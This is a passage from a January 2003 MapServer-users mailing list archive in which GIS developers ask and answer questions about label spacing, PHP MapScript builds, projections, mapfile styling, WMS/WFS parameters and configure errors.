From mike_5102 at yahoo.com.tw Wed Jan 1 03:53:00 2003 From: mike_5102 at yahoo.com.tw (Mikeyahoo) Date: Wed, 1 Jan 2003 19:53:00 +0800 Subject: [Mapserver-users] Why the Annotations on map are too crowded? Message-ID: <001f01c2b18c$561d6520$89b34ad3@Mike> This is a multi-part message in MIME format. ------=_NextPart_000_001C_01C2B1CF.633D3EE0 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable Hello all, I have PHP ver4.0.6 and MapServer version 3.5.I can show the annotation = on my map,but the text on map seem too crowded.How can I make it = separate and what methods should I use to control them. thanks for your response! ------=_NextPart_000_001C_01C2B1CF.633D3EE0 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable
Hello all,
I have PHP ver4.0.6 and = MapServer=20 version 3.5.
I can show the annotation = on my=20 map,but the text on map seem too crowded.How can I make it separate and = what=20 methods should I use to control them.
thanks for your=20 response!
------=_NextPart_000_001C_01C2B1CF.633D3EE0-- ----------------------------------------------------------------- < ?C???? Yahoo!?_?? > www.yahoo.com.tw From fx.gamoy at mapxplore.com Wed Jan 1 06:42:22 2003 From: fx.gamoy at mapxplore.com (fx gamoy) Date: Wed, 1 Jan 2003 14:42:22 -0000 Subject: [Mapserver-users] promblem of installation php4.1.2 mapserver 3.6.3 with RH 7.3 Message-ID: <001501c2b1a3$fe81cbe0$0201a8c0@mapxplore.com> C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_0012_01C2B1A3.FE7CE9E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable happy new year!! i have compiled mapserver into my linux plateform and copied the = mapserver file into the cgi-bin directory. When trying the url = http://localhost/cgi-bin/mapserv i obtain : "No query information to decode, no query result set". The compilation seems to be cool and take care of mapscript When i try to perform mapserver on a very small filemap, the server = return: "call to undefined function ms_newmapObj... When i try the phpinfo i can't see any section mapscript.=20 is there a param to define in the php.ini? Do i have to recompile php? Is it recommended that i upgrade php to 4.2.2 instead of 4.1.2? i think i have missed something.. :-) Thanks fx gamoy http://www.mapxplore.com/ ------=_NextPart_000_0012_01C2B1A3.FE7CE9E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
happy new year!!
 
i have compiled mapserver into my linux = plateform=20 and copied the mapserver file into the cgi-bin directory. When trying = the url http://localhost/cgi-bin/mapser= v i=20 obtain :
"No query information to decode, no = query result=20 set".
The compilation seems to be cool and = take care of=20 mapscript
 
When i try = to perform mapserver on a very=20 small filemap, the server return:
"call to undefined function=20 ms_newmapObj...
 
When i try the phpinfo i can't see any = section=20 mapscript.
is there a param to define in the=20 php.ini?
Do i have to recompile = php?
Is it recommended that i upgrade php to = 4.2.2=20 instead of 4.1.2?
 
i think i have missed something.. = :-)
Thanks
fx gamoy
http://www.mapxplore.com/
 
------=_NextPart_000_0012_01C2B1A3.FE7CE9E0-- From pkishor at geoanalytics.com Wed Jan 1 07:12:19 2003 From: pkishor at geoanalytics.com (pkishor_98 ) Date: Wed, 01 Jan 2003 15:12:19 -0000 Subject: [Mapserver-users] Re: promblem of installation php4.1.2 mapserver 3.6.3 with RH 7.3 In-Reply-To: <001501c2b1a3$fe81cbe0$0201a8c0@mapxplore.com> Message-ID: Just a quick reply off the top of my head (some of it may be wrong)... --- In mapserver-users at yahoogroups.com, "fx gamoy" wrote: > happy new year!! > > i have compiled mapserver into my linux plateform and copied the mapserver file into the cgi-bin directory. When trying the url http://localhost/cgi-bin/mapserv i obtain : > "No query information to decode, no query result set". well, you didn't give it any query information, so it complained correctly. > The compilation seems to be cool and take care of mapscript > > When i try to perform mapserver on a very small filemap, the server return: > "call to undefined function ms_newmapObj... since you haven't provided any code, I have to guess. Did you give it a valid php code? Remember, some basic syntax changes are expected since whatever you were using earlier. Perhaps you should provide sample code you were trying to run. > > When i try the phpinfo i can't see any section mapscript. there wouldn't be. The Mapscript module is dynamicall loaded, that is, loaded only when included in a script, etc. > is there a param to define in the php.ini? > Do i have to recompile php? > Is it recommended that i upgrade php to 4.2.2 instead of 4.1.2? Check the latest compatible PHP version and upgrade to it. Although, I know from personal experience that 4.1.2 works just fine. Have a safe and happy new year. From dionnaldbeh at lycos.com Wed Jan 1 08:02:32 2003 From: dionnaldbeh at lycos.com (Dionnald Beh) Date: Wed, 01 Jan 2003 23:02:32 +0700 Subject: [Mapserver-users] Malaysia Projection Problem Message-ID: Dear all members, Happy New Year! I would like to ask a question regarding to the ESPG code for Malaysia. The projection of Malaysia is RSO (Rectifier Skew Orthomorphic). But, i can't get the ESPG code for this projection. So, i would like to get the helping hand from all of you. What is the ESPG code of RSO projection? Thank you. Dionnald Beh Boon Heng Faculty of Geoinformation, University Technology Malaysia, 81300 Skudai, Johor Darul Takzim, Malaysia. _____________________________________________________________ Get 25MB, POP3, Spam Filtering with LYCOS MAIL PLUS for $19.95/year. http://login.mail.lycos.com/brandPage.shtml?pageId=plus&ref=lmtplus From nida at webstar.co.uk Thu Jan 2 02:41:18 2003 From: nida at webstar.co.uk (nida Khan) Date: Thu, 2 Jan 2003 10:41:18 -0000 Subject: [Mapserver-users] Mulitiline string to Polygon Message-ID: <013201c2b24b$7bf154e0$a901a8c0@private.webstar.co.uk> This is a multi-part message in MIME format. ------=_NextPart_000_012F_01C2B24B.7B9440C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi list, I have three table created from .NTF(boundary line) file provided by = Ordinance Survery. using ogr2ogr. One with geometry data, other two with features information. namely, = BL2000_LINK,BL2000_POLY,BL2000_COLLECTION I can create the map perfectly fine, main problem comes, when I want to = display a label from those feature table. As its a MultilineString geom, label comes on top of line, instead of = middle of "formed polygon", which makes sense... Is there anyway of controling the inside area of two lines??? I thought If I can create a polygon geometry instead of multilineString = it can make my task easy! Is there any way of doing it??? Has anyone ever worked on Boundary line data from Ordinance Survey = before? If yes, how do you cope with these problems? How do you inforce relational integrity b/w three tables? Best Regards Nida. PS:my table structrue is like this. test=3D# \d bl200_llnik Column | Type | Modifiers=20 ------------+-------------------+----------- gid | integer |=20 line_id | integer |=20 geom_id | integer |=20 feat_code | character varying |=20 global_lin | integer |=20 tile_ref | character varying |=20 the_geom | geometry |=20 Check constraints: "$1" (srid(the_geom) =3D -1) "$2" ((geometrytype(the_geom) =3D = 'MULTILINESTRING'::text) OR (the_geom IS NULL)) test=3D# \d bl2000_poly=20 =20 Column | Type | = Modifiers =20 -----------------+-------------------+-----------------------------------= -------------------------- ogc_fid | integer | not null default = nextval('"bl2000_poly_ogc_fid_seq"'::text) wkb_geometry | geometry |=20 poly_id | numeric(6,0) |=20 global_seed_id | numeric(6,0) |=20 hectares | numeric(12,3) |=20 num_parts | numeric(4,0) |=20 dir | character varying |=20 geom_id_of_link | character varying |=20 ringstart | character varying |=20 tile_ref | character(10) |=20 Unique keys: bl2000_poly_ogc_fid_key Check constraints: "$1" (srid(wkb_geometry) =3D 104306) test=3D# \d bl2000_collection=20 =20 Column | Type | = Modifiers =20 -----------------+-------------------+-----------------------------------= -------------------------------- ogc_fid | integer | not null default = nextval('"bl2000_collection_ogc_fid_seq"'::text) wkb_geometry | geometry |=20 coll_id | numeric(6,0) |=20 num_parts | numeric(4,0) |=20 poly_id | character varying |=20 admin_area_id | numeric(6,0) |=20 admin_name | character varying |=20 area_type | character(2) |=20 area_code | character(3) |=20 non_type_code | character(3) |=20 non_inland_area | numeric(12,3) |=20 coll_id_refs | character varying |=20 tile_ref | character(10) |=20 Unique keys: bl2000_collection_ogc_fid_key Check constraints: "$1" (srid(wkb_geometry) =3D 104306) ------=_NextPart_000_012F_01C2B24B.7B9440C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi list,
 
I have three table created from .NTF(boundary = line) file=20 provided by Ordinance Survery. using ogr2ogr.
One with geometry data, other two with features = information.=20 namely, BL2000_LINK,BL2000_POLY,BL2000_COLLECTION
 
I can create the map perfectly fine, main problem = comes, when=20 I want to display a label from those feature table.
 
As its a MultilineString geom, label comes on top of = line,=20 instead of middle of "formed polygon", which makes sense...
 
Is there anyway of controling the inside area of two = lines???
I thought If I can create a polygon geometry instead = of=20 multilineString it can make my task easy!
 
Is there any way of doing it???
Has anyone ever worked on Boundary line data from = Ordinance=20 Survey before?  If yes, how do you cope with these = problems?
How do you inforce relational integrity b/w three=20 tables?
 
Best Regards
Nida.
 
PS:my table structrue is like = this.

test=3D# \d bl200_llnik
   Column   = |      =20 Type        | Modifiers=20
------------+-------------------+-----------
 gid  =      =20 | integer           |=20
 line_id    |=20 integer           |=20
 geom_id    |=20 integer           |=20
 feat_code  | character varying |
 global_lin |=20 integer           |=20
 tile_ref   | character varying |=20
 the_geom   |=20 geometry          | =
Check=20 constraints: "$1" (srid(the_geom) =3D=20 -1)
           =        =20 "$2" ((geometrytype(the_geom) =3D 'MULTILINESTRING'::text) OR (the_geom = IS=20 NULL))
 
test=3D# \d=20 bl2000_poly 
        &nbs= p;            = ;   
     Column     =20 |      =20 Type       =20 |            =             &= nbsp;=20 Modifiers          &nbs= p;            = ;  =20
-----------------+-------------------+-------------------------------= ------------------------------
 ogc_fid    &n= bsp;   =20 | integer           | = not null=20 default=20 nextval('"bl2000_poly_ogc_fid_seq"'::text)
 wkb_geometry &nb= sp; =20 | geometry          |=20
 poly_id         |=20 numeric(6,0)      | =
 global_seed_id  |=20 numeric(6,0)      |=20
 hectares        |=20 numeric(12,3)     |=20
 num_parts       |=20 numeric(4,0)      |=20
 dir          =   =20 | character varying |
 geom_id_of_link | character varying |=20
 ringstart       | character = varying |=20
 tile_ref        |=20 character(10)     |
Unique keys:=20 bl2000_poly_ogc_fid_key
Check constraints: "$1" (srid(wkb_geometry) = =3D=20 104306)
 
test=3D# \d bl2000_collection 
   
     Column     =20 |      =20 Type       =20 |            =             &= nbsp;   =20 Modifiers          &nbs= p;            = ;     =20
-----------------+-------------------+-------------------------------= ------------------------------------
 ogc_fid   &n= bsp;    =20 | integer           | = not null=20 default=20 nextval('"bl2000_collection_ogc_fid_seq"'::text)
 wkb_geometry&nb= sp;  =20 | geometry          |=20
 coll_id         |=20 numeric(6,0)      |=20
 num_parts       |=20 numeric(4,0)      |=20
 poly_id         | = character=20 varying |
 admin_area_id   |=20 numeric(6,0)     =20 | 
 admin_name      | character = varying |=20
 area_type       |=20 character(2)      |=20
 area_code       |=20 character(3)      | =
 non_type_code  =20 | character(3)      |
 non_inland_area = |=20 numeric(12,3)     | =
 coll_id_refs   =20 | character varying |=20
 tile_ref        |=20 character(10)     |
Unique keys:=20 bl2000_collection_ogc_fid_key
Check constraints: "$1" = (srid(wkb_geometry) =3D=20 104306)
------=_NextPart_000_012F_01C2B24B.7B9440C0-- From BVT at sns.dk Thu Jan 2 04:31:52 2003 From: BVT at sns.dk (BVT at sns.dk) Date: Thu, 2 Jan 2003 13:31:52 +0100 Subject: [Mapserver-users] Win32 binary with oracle spatial support or a makefile.vc to buil d Mapserver with oracle spatial support Message-ID: <9EEA6C597101D31194730000F8EF9D210357A18F@SNEX01> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2B25A.EDD1DDF0 Content-Type: text/plain; charset="iso-8859-1" To the list members - Before I try to build Mapserver with oracle spatial on a windows platform by trial/error and looking at the unix makefile, I thought I would try my luck on the list.... Is there anyone who could supply me with either a MapServer win32 binary or a working makefile.vc to build the exe-file ? I've searched the list archive and seen, that this request have popped up fairly often. Unfortunately, the only link I could find to a solution was dead. Kind regards Bo Thomsen ------_=_NextPart_001_01C2B25A.EDD1DDF0 Content-Type: text/html; charset="iso-8859-1"
To the list members -
 
Before I try to build Mapserver with oracle spatial on a windows platform by trial/error and looking at the unix makefile, I thought I would try my luck on the list....
 
Is there anyone who could supply me with either a  MapServer win32 binary or a working makefile.vc to build the exe-file ? 
I've searched the list archive and seen, that this request have popped up fairly often. Unfortunately, the only link I could find to a solution was dead.
 
Kind regards
 
Bo Thomsen
 
------_=_NextPart_001_01C2B25A.EDD1DDF0-- From stepan.kafka at centrum.cz Thu Jan 2 06:19:05 2003 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Thu, 2 Jan 2003 15:19:05 +0100 Subject: [Mapserver-users] problems with ms 3.7 In-Reply-To: <490DDC5F1BA13F49A366F2BEFCFACB1B5B03CF@CIT-XCH-02.prds.qldpol> Message-ID: <000201c2b269$e819cb70$7e3c2fc3@HSGIS> Hi all, I am testing mapserver 3.7 from 30.12.02 (GD 2.1, GDAL-CVS version, TTF 2, WMS + WFS servers...) on Linux RH 8 machine, but found some problems: - wider lines (size > 1) made by "circle" symbol have black thick "outlines". This error I found only in RGB/RGBA mode, in PC256 everything is OK. - It seems that label MAXSIZE parameter doesn't work with scaled symbols. The labels are zoomed without limits. - Offset lines (e.g. STYLE OFFSET 5 -99) are drawn once on the one side of the original line, once on the other side. Is this OK? (Using absolute values of dx, dy?) - The STYLE is very good for complex symbols, but I don't how can I set e.g. width polygon outlines (old OVERLAYOUTLINECOLOR syntax)? - for WMS and WFS are introduced these paremeters in the mapfile, e.g: WFS_TITLE, WMS_TITLE, WFS_ABSTRACT, WMS_ABSTRACT, WFS_SRS, WMS_SRS. I expect that these pairs have the same content in most cases. Wouldn't be reasonable to use them only once for both services? Thank you Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz From morissette at dmsolutions.ca Thu Jan 2 07:56:40 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 02 Jan 2003 10:56:40 -0500 Subject: [Mapserver-users] Why the Annotations on map are too crowded? References: <001f01c2b18c$561d6520$89b34ad3@Mike> Message-ID: <3E146138.3A75A59C@dmsolutions.ca> > "Mike(yahoo)" wrote: > > Hello all, > I have PHP ver4.0.6 and MapServer version 3.5.I can show > the annotation on my map,but the text on map seem too crowded.How can > I make it separate and what methods should I use to control them. > thanks for your response! There are a few parameters in the LABEL object to control which labels will show up, and the minimum distance between them, etc. Have a look at the label object section in http://mapserver.gis.umn.edu/doc35/mapfile-reference.html Of special interest are: - BUFFER - MINDISTANCE - MINFEATURESIZE - FORCE - PARTIALS Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From steve.lime at dnr.state.mn.us Thu Jan 2 08:12:29 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 02 Jan 2003 10:12:29 -0600 Subject: [Mapserver-users] problems with ms 3.7 Message-ID: Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "Stepan Kafka" 01/02/03 08:19AM >>> > Hi all, Hi Stepan, > I am testing mapserver 3.7 from 30.12.02 (GD 2.1, GDAL-CVS version, TTF 2, > WMS + WFS servers...) on Linux RH 8 machine, but found some problems: Good (problems bad), I mean I'm glad someone is testing... > - wider lines (size > 1) made by "circle" symbol have black thick > "outlines". This error I found only in RGB/RGBA mode, in PC256 everything is > OK. Will have to check on that one. I've tested with GD 2.0 and all but not much with RGB output. I imagine a default outline color (-1,-1,-1) is being interpreted as black/ > - It seems that label MAXSIZE parameter doesn't work with scaled symbols. > The labels are zoomed without limits. Dunno on that one will check... > - Offset lines (e.g. STYLE OFFSET 5 -99) are drawn once on the one side of > the original line, once on the other side. Is this OK? (Using absolute > values of dx, dy?) I think this is ok. Offsets for lines can be used in two ways. One is to create a straight copy of the line offset by x and y pixels. The other is to mimic the behaviour of the old (pre-3.4) "TYPE STYLED" lines. An offset of 5 -99 should give you only one line though. Will look more. > - The STYLE is very good for complex symbols, but I don't how can I set e.g. > width polygon outlines (old OVERLAYOUTLINECOLOR syntax)? Overlays are just a second style (note that the map file parser still recognizes OVERLAYCOLOR and so on). So you'd do something like: # solid red fill STYLE COLOR 255 0 0 END # 2 pixel wide outline STYLE SYMBOL 'circle' SIZE 3 OUTLINECOLOR 0 0 0 END > - for WMS and WFS are introduced these paremeters in the mapfile, e.g: > WFS_TITLE, WMS_TITLE, WFS_ABSTRACT, WMS_ABSTRACT, WFS_SRS, WMS_SRS. I expect > that these pairs have the same content in most cases. Wouldn't be reasonable > to use them only once for both services? I'll let Dan comment on this one... > Thank you > Stepan Kafka Steve From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Thu Jan 2 09:28:42 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Thu, 2 Jan 2003 12:28:42 -0500 Subject: [Mapserver-users] problems with ms 3.7 Message-ID: <7CDD7B94357FD5119E800002A537C46E230548@s5-ccr-r1.ccrs.nrcan.gc.ca> About the WMS/WFS parameters ... Actually, it is quite possible to have WMS and WFS using quite different parameters .... For example, projection and re-projection handling in those 2 specs are different, which creates the requirement of setting the SRS type parameters differently depending on which protocol you're using. Also, for abstracts, I can also see the need to have seperate ones, the description of a WMS and a WFS can be quite different, since they basically do quite different things really. I guess MAYBE the title could be unified :) (But for consistency it won't !) This was implemented in such a way that one could potentially use a given mapfile to serve both WMS AND WFS, but in such a case, the mapserver developper really should NOT make any assumptions on how similar or different you (the service provider) want to make them look. I personally NEED them to be different for example, simply because the plain english desciptions are very diffferent, and the projection handling being different, I need those seperate as well. My .02$ J.F. -----Original Message----- From: Stepan Kafka [mailto:stepan.kafka at centrum.cz] Sent: Thursday, January 02, 2003 9:19 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] problems with ms 3.7 Hi all, I am testing mapserver 3.7 from 30.12.02 (GD 2.1, GDAL-CVS version, TTF 2, WMS + WFS servers...) on Linux RH 8 machine, but found some problems: - wider lines (size > 1) made by "circle" symbol have black thick "outlines". This error I found only in RGB/RGBA mode, in PC256 everything is OK. - It seems that label MAXSIZE parameter doesn't work with scaled symbols. The labels are zoomed without limits. - Offset lines (e.g. STYLE OFFSET 5 -99) are drawn once on the one side of the original line, once on the other side. Is this OK? (Using absolute values of dx, dy?) - The STYLE is very good for complex symbols, but I don't how can I set e.g. width polygon outlines (old OVERLAYOUTLINECOLOR syntax)? - for WMS and WFS are introduced these paremeters in the mapfile, e.g: WFS_TITLE, WMS_TITLE, WFS_ABSTRACT, WMS_ABSTRACT, WFS_SRS, WMS_SRS. I expect that these pairs have the same content in most cases. Wouldn't be reasonable to use them only once for both services? Thank you Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Chip.Hankley at GASAI.Com Thu Jan 2 11:03:55 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Thu, 2 Jan 2003 13:03:55 -0600 Subject: [Mapserver-users] OT: Db Logic for Address Query Message-ID: <3DFF131E4E6D2D4198CDD758F35A535302785258@postoffice.GASAI.Com> Sorry for the slightly OT question... I'm building an address location tool using TIGER data as a base. I have all of the attribute data in a DB. When I execute the query, I return the shapeID, and use this to process the address in MapServer. I'm trying to figure out the logic for doing an address query. In TIGER data, addresses are broken out into: Right and Left Ranges (TO FROM, 4 fields) Prefix Name Suffix Type So the address: 3645 East Washington Avenue North would be comprised of data from 5 fields. Right now I have my front-end set up so that the user has to enter each component separately (i.e. there's a field for range, prefix, name, etc.). Yet, I've seen on other address location tools the ability to enter this entire string into one field. How does a query like that work? How would one parse out what should be in each field in order to execute the SQL correctly? Any pointers (tips or sources of info) would be appreciated. Chip Hankley From Chip.Hankley at GASAI.Com Thu Jan 2 11:22:38 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Thu, 2 Jan 2003 13:22:38 -0600 Subject: [Mapserver-users] sample of flash using mapserver Message-ID: <3DFF131E4E6D2D4198CDD758F35A53530278525B@postoffice.GASAI.Com> Aaron and Daniel - Wow. Those are great examples. When 3.7 is released, what will we need to develop those types of front-ends? Is Flash the only thing? Is PHP-MapScript or CGI MapServer driving the back-end? Thanks! Chip -----Original Message----- From: Aaron D. Hunt [mailto:hunt at zedxinc.com] Sent: Tuesday, December 31, 2002 12:02 PM To: mapserver-users at lists.gis.umn.edu; Daniel Morissette Subject: Re: [Mapserver-users] sample of flash using mapserver Try it again ----- Original Message ----- From: "Daniel Morissette" To: "Aaron D. Hunt" Sent: Tuesday, December 31, 2002 12:25 PM Subject: Re: [Mapserver-users] sample of flash using mapserver > > "Aaron D. Hunt" wrote: > > > > Here is a first cut example of a flash program I have made using > > mapserver. > > > > http://www.zedxinc.com/sample/show.html > > > > Aaron D. Hunt > > I tried to access it, but it tries to access something on > aphis-dev.zedxinc.com which is not available (possibly located behind > your firewall), so we don't get any map. > > BTW, does this use the new Flash support in MapServer 3.7? > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Thu Jan 2 11:46:08 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 02 Jan 2003 13:46:08 -0600 Subject: [Mapserver-users] Fwd: ./configure bug Message-ID: Received: from mail.state.mn.us (state.mn.us [156.99.125.109]) by co5.dnr.state.mn.us; Mon, 30 Dec 2002 15:19:41 -0600 Return-Path: Received: from lists.gis.umn.edu by mail.state.mn.us with ESMTP for steve.lime at dnr.state.mn.us; Mon, 30 Dec 2002 15:19:28 -0600 Received: from jupiter.osuedc.org ([140.254.85.27]) by lists.gis.umn.edu (8.12.6/8.12.6) with ESMTP id gBULK0ae026028 for ; Mon, 30 Dec 2002 15:20:00 -0600 (CST) Received: from io.osuedc.org (io.osuedc.org [164.107.48.47]) by jupiter.osuedc.org (8.12.2/8.12.2) with ESMTP id gBULJRQT030900 for ; Mon, 30 Dec 2002 16:19:27 -0500 Date: Mon, 30 Dec 2002 16:19:04 -0500 (EST) From: richard hornsby To: mapserver-bugs at lists.gis.umn.edu Subject: ./configure bug Message-Id: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 7bit I think I'll be able to work around this, but this error is coming up when trying to ./configure MapServer: !!! The current version of PHP MapScript has some problems with !!! !!! PHP4's bundled regex. Until we figure the solution to the !!! !!! problem, the workaround is to compile PHP4 with the system regex !!! !!! Please re-configure and re-compile PHP4 with --with-system-regex !!! !!! and then re-configure and re-compile MapServer. !!! The '--with-system-regex' option in PHP is deprecated, and has been superceded by '--with-regex=system' ie, my PHP ./configure looks like: './configure' '--with-apxs=/usr/local/apache/bin/apxs' '--enable-trans-sid' '--enable-track-vars' '--with-gd' '--with-pdflib' '--with-jpeg-dir' '--with-tiff-dir' '--with-pspell' '--with-freetype-dir' '--enable-gd-native-ttf' '--with-png-dir' '--with-zlib-dir' '--with-ttf' '--with-regex=system' but the MapServer script complains. :) thanks for your time! -rj -- Information Center, n.: A room staffed by professional computer people whose job it is to tell you why you cannot have the information you require. rj hornsby . systems engineer . www.osuedc.org human and community resource development p 614 688 8761 . f 614 688 8762 From jvanulde at nrcan.gc.ca Thu Jan 2 11:55:27 2003 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Thu, 2 Jan 2003 14:55:27 -0500 Subject: [Mapserver-users] Transparent GIF polygon fill pattern Message-ID: <8AE17DD6AA4FD51191CD0002A5511681074BCD@s5-van1-r1.ess.nrcan.gc.ca> Has anyone filled a polygon with a transparent GIF? I can get the GIF to fill the polygon, but it's not transparent. Here are some code snippets: Symbol file: SYMBOL NAME 'plqv' TYPE PIXMAP IMAGE '../images/plqv.gif' TRANSPARENT 0 END Mapfile: CLASS EXPRESSION "PlQv" NAME "PlQv" BACKGROUNDCOLOR 204 179 255 OUTLINECOLOR 102 102 102 COLOR 204 179 255 SYMBOL 'plqv' LABEL MINDISTANCE 200 ANTIALIAS TRUE FONT "arial" TYPE truetype SIZE 7 END END Regards, ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.-B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ From rhornsby at io.osuedc.org Thu Jan 2 11:56:00 2003 From: rhornsby at io.osuedc.org (richard hornsby) Date: Thu, 2 Jan 2003 14:56:00 -0500 (EST) Subject: [Mapserver-users] MDK9 (gcc3): undefined reference to `__gxx_personality_v0' Message-ID: ref gcc version 3.2 (Mandrake Linux 9.0 3.2-1mdk) ref mapserver 3.6.3 Checking the mailing list archives and realizing that this seems to be a common problem with GCC 3 not understanding what 'personality_v0' is or whatever, and seeing all the stuff about changing the makefile to point to g++ in the problem areas, what I can't figure out is: - what lines (by number if possible) in the Makefile need to be changed, so that those who are trying aren't changing the wrong lines? - does it actually do anything to change lines in the Makefile to point to g++ in linux? ie, I get the same version response whether I ask 'gcc -v' or 'g++ -v'? - is it possible to install and use gcc 2.9.x concurrently with gcc 3.x, and therefore compile mapserver with the gcc 2.9.x, all *without* breaking the existing installation of gcc 3.x? if so, could someone point out where the documentation on howto do this is? thanks for your help -rj osuedc -- Information Center, n.: A room staffed by professional computer people whose job it is to tell you why you cannot have the information you require. rj hornsby . systems engineer . www.osuedc.org human and community resource development p 614 688 8761 . f 614 688 8762 From morissette at dmsolutions.ca Thu Jan 2 12:12:12 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 02 Jan 2003 15:12:12 -0500 Subject: [Mapserver-users] Fwd: ./configure bug References: Message-ID: <3E149D1C.F67D7787@dmsolutions.ca> I have created a bug about this in bugzilla: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=252 Can you please review my comment in the bug report and provide the information that I listed there to help us reproduce the problem? Thanks Daniel > Subject: ./configure bug > Date: Mon, 30 Dec 2002 16:19:04 -0500 (EST) > From: richard hornsby > To: mapserver-bugs at lists.gis.umn.edu > > I think I'll be able to work around this, but this error is coming up when > trying to ./configure MapServer: > > !!! The current version of PHP MapScript has some problems with !!! > !!! PHP4's bundled regex. Until we figure the solution to the !!! > !!! problem, the workaround is to compile PHP4 with the system regex !!! > !!! Please re-configure and re-compile PHP4 with --with-system-regex !!! > !!! and then re-configure and re-compile MapServer. !!! > > The '--with-system-regex' option in PHP is deprecated, and has been > superceded by '--with-regex=system' > > ie, my PHP ./configure looks like: > > './configure' '--with-apxs=/usr/local/apache/bin/apxs' > '--enable-trans-sid' '--enable-track-vars' '--with-gd' '--with-pdflib' > '--with-jpeg-dir' '--with-tiff-dir' '--with-pspell' '--with-freetype-dir' > '--enable-gd-native-ttf' '--with-png-dir' '--with-zlib-dir' '--with-ttf' > '--with-regex=system' > > but the MapServer script complains. :) > > thanks for your time! > -rj > > -- > Information Center, n.: > A room staffed by professional computer people whose job it is to > tell you why you cannot have the information you require. > > rj hornsby . systems engineer . www.osuedc.org > human and community resource development > p 614 688 8761 . f 614 688 8762 > From steve.lime at dnr.state.mn.us Thu Jan 2 12:20:02 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 02 Jan 2003 14:20:02 -0600 Subject: [Mapserver-users] Transparent GIF polygon fill pattern Message-ID: If I recall correctly transparency for PIXMAP symbols is not controlled by the TRANSPARENT flag but by the the transparency of the image itself. Is '../images/plqv.gif' a transparent gif? Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "Van Ulden, Joost" 01/02/03 01:55PM >>> Has anyone filled a polygon with a transparent GIF? I can get the GIF to fill the polygon, but it's not transparent. Here are some code snippets: Symbol file: SYMBOL NAME 'plqv' TYPE PIXMAP IMAGE '../images/plqv.gif' TRANSPARENT 0 END Mapfile: CLASS EXPRESSION "PlQv" NAME "PlQv" BACKGROUNDCOLOR 204 179 255 OUTLINECOLOR 102 102 102 COLOR 204 179 255 SYMBOL 'plqv' LABEL MINDISTANCE 200 ANTIALIAS TRUE FONT "arial" TYPE truetype SIZE 7 END END Regards, ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.-B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Thu Jan 2 12:47:04 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Thu, 2 Jan 2003 15:47:04 -0500 Subject: [Mapserver-users] Fwd: ./configure bug Message-ID: <7CDD7B94357FD5119E800002A537C46E23054B@s5-ccr-r1.ccrs.nrcan.gc.ca> FYi, I ran accross this as well, but got it to work fine once I caught on to the change in the configure otpion ... One problem you might be having is with the cache of the configure script. In your PHP source tree root, remove config.cache and run your configure again, that should do it! And on that note, don't use the APXS build method, MapServer will complain about that too :) It has to be built as a CGI. Hope this helps, J.F. -----Original Message----- From: Daniel Morissette [mailto:morissette at dmsolutions.ca] Sent: Thursday, January 02, 2003 3:12 PM To: richard hornsby Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Fwd: ./configure bug I have created a bug about this in bugzilla: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=252 Can you please review my comment in the 